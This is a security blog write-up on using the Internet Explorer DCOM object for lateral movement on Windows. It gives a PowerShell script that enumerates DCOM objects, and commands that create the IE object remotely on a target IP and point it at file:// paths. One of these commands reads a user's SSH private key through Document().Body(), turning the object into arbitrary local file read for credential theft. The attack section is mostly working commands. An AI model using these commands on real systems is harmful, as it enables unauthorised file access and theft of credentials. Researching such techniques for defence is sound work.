📂

IE DCOM to LFI

Introduction

For DCOM attacks, the attacker must already have access to an account with Administrator privileges. This is not a privilege escalation technique, but lateral movement technique using DCOM. You have Administrator credentials, how do you get access to the machine? This article shows one possible way using LFI to get user credentials.

What Are DCOMs

TLDR; Applications have COMs exposed so other applications may interact with it. Some applications expose DCOMs, or Distributed COMs so that some of these functionalities can be called remotely from another machine. For more information, Google or ChatGPT, I don’t want to waste word count on this 😹

Finding DCOMs on a machine

I wrote a simple PowerShell script that does the following
  1. Find all DCOMs on the machine (This gives you the AppID)
  1. For each DCOM, find the corresponding COM (This gives your the CLSID)
  1. For each COM find the ProgID (Not really needed since you can initialize a COM object with just the CLSID)
# Function to find the CLSID and ProgID by AppID function Get-CLSIDAndProgIDFromAppID { param ( [string]$AppID ) # Define the registry path where AppID is linked to CLSID $CLSIDRegistryPath = "HKLM:\SOFTWARE\Classes\CLSID\" # Iterate through all CLSID keys and check for the AppID $CLSIDKeys = Get-ChildItem -Path $CLSIDRegistryPath $foundCLSID = foreach ($CLSIDKey in $CLSIDKeys) { $CLSIDKeyPath = "HKLM:\SOFTWARE\Classes\CLSID\$($CLSIDKey.PSChildName)" # Check if the AppID exists under the CLSID $currentAppID = Get-ItemProperty -Path $CLSIDKeyPath -Name "AppID" -ErrorAction SilentlyContinue if ($currentAppID -and $currentAppID.AppID -eq $AppID) { # Get the ProgID from the CLSID key itself $SubKeys = Get-ChildItem -Path $CLSIDKeyPath $ProgID = "none" $foundProgID = foreach ($SubKey in $SubKeys) { if ($SubKey.PSChildName -eq "ProgID") { $ProgIDPath = $CLSIDKeyPath + '\ProgID' $ProgID = (Get-ItemProperty -Path $ProgIDPath).'(default)' } } # Return CLSID and ProgID [PSCustomObject]@{ CLSID = $CLSIDKey ProgID = $ProgID } } } if ($foundCLSID) { $foundCLSID } else { Write-Host "No CLSID found for AppID: $AppID" } } # Example usage: Input the AppID for which to find the corresponding CLSID and ProgID $AppIDs = Get-CimInstance Win32_DCOMApplication | select -ExpandProperty AppId foreach ($AppID in $AppIDs) { $CLSIDAndProgID = Get-CLSIDAndProgIDFromAppID -AppID $AppID # Display the results if ($CLSIDAndProgID) { $CLSIDAndProgID | Format-Table -Property CLSID, ProgID } }
notion image
This will start printing out all DCOMs and their CLSID/ProgID
Using the CLSID/ProgID, you can then initialize the COM object and start inspecting the methods for fun and profit.
PS C:\Users\user> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("<ProgID>", "192.168.208.145"))

InternetExplorer.Application.1 DCOM

As I was looking at the various COMs and their functions, I found an interesting COM which is a functioning Internet Explorer application.
The methods and properties of the DCOM are documented here
We first inspect all available Methods and Properties of the COM object with
$com | Get-Member
notion image
Then we call Navigate(), which tells the browser to navigate to a URL.
$com.Navigate("https://google.com")
Now we can interact with the document that was loaded by calling Document()
$com.Document()
In this example we pull out all images loaded by https://google.com
$com.Document().images()
notion image

Reading Local Files

Instead of passing in a URL, we can pass in the file:// protocol and we are able to read the contents of local files, essentially getting LFI
$com.Navigate("file://C:/Users/user2/.ssh/id_ed25519")
notion image
Now when we call Document(), it will point to the object that IE has opened up, and in this case it’s C:/Users/user2/.ssh/id_ed22519. By interacting with the Document() object, we can interact with the opened file.
$com.Document()
notion image
We can then call Get-Member on the Document() object to see methods available to interact with the page.
notion image
We see functions like getElementById and getElementsByClassName, which are typical functions to interact with a DOM.
notion image
The problem with this is that if the file we’re opening is not a HTML page, it would not have any HTML tags, IDs or Class Names that we extract values from.
Interestingly enough, even though the function body() is not exposed as part of the methods available, we are able to call it on the Document() Object which gives the contents of the page directly.
$com.Document().Body()
notion image
This will return us the entire contents of the page, giving us arbitrary file read on the system.
notion image

Official Document Object Model (DOM)

What this means is that not all methods that can typically be found in DOM are being exposed when we call $com.Document() | Get-Member
Instead, we need to refer to the “Official” documentation for the DOM object
However, not all methods here are implemented in the COM object too, so it’s a case of trying every single function to see which is present in the COM object

Closing

We’ve explored DCOM and leveraged on a “hidden” function in IE COM object to read local files on the system.
By extracting credentials from sensitive files, we can potentially laterally move into the machine.
Unfortunately I could not find any functions for RCE, but LFI definitely seems good enough.
This is one out of the many DCOMs available, and I’ll publish more writeups if I find something interesting.